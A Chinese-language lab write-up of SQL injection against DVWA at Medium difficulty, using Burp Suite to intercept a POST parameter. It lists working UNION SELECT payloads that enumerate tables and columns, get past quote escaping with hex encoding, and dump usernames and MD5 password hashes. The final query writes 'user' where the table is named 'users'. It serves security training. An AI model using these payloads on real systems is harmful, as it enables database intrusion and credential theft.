此环境为DVWA中SQL lnjection，难易程度为Medium

首先在选择框中选择1提交，返回admin的数据

提交2，获得另一个数据

在提交的时间，url里没有任何变化，应该不是GET型，根据判断可能为Cookie型或者POST型，Cookie和POST都是数据包里面进行提交，所以使用burp这款工具查看它属于哪一种接受方式

首先设置浏览器的代理（这里为kali中的firefox）

将代理IP地址设置为127.0.0.1（本地地址），端口为8080（burp默认代理端口）

打卡burp

选择--Proxy--Intercept--Intercept is on打开代理

然后回到SQL Injection，提交1，以可看到为POST接收参数

然后右键，Send to Repeater 打开模拟提交去观察发送和返回包之间的变化

然后点击GO

提交1的时候

提交2的时候

可以看到这个Web页面是通过POST提交的，找到传输的地点以后，通过这个传输点把恶意的SQL语句带入查询看看

输入：1 and 1=1 //返回正常

输入：1 and 1=2 //返回错误

不需要加单引号进行闭合，说明这是一个数字型的SQL注入

然后接着判断列字段值的长度

输入：1 order by 2 //返回正常

输入：1 order by 3 //报错

说明只有2个长度

输入：1 union select 1,2 

可以看见1和2地方存在脆弱点

查看当前使用的数据库名称和当前用户名，在脆弱点1和2上输入database（）和user()

可以看到用的数据库为dvwa，当前用户为root@localhost

查看dvwa数据库中有什么表: 1 union select 1,table_name from information_schema.tables where table_schema='dvwa'

可以看到这里的单引号呗转义了，将dvwa转换成16进制，代替dvwa

可以发现dvwa这个数据库中有guestbook和user两个表，经验告诉我，账号密码存放在users表中

查看users表中的列：1 union select 1,column_name from information_schema.columns where table_name=0x7573657273

可以看到users表中的列都被曝了出来，根据经验，user列中存放用户名，password列中存放密码

查看这两个列里面的数据：1 union select user,password from user

到此就获得了这个Web服务器数据库里所有的账号密码

密码都是md5加密后的，可以使用在线MD5解密工具进行解密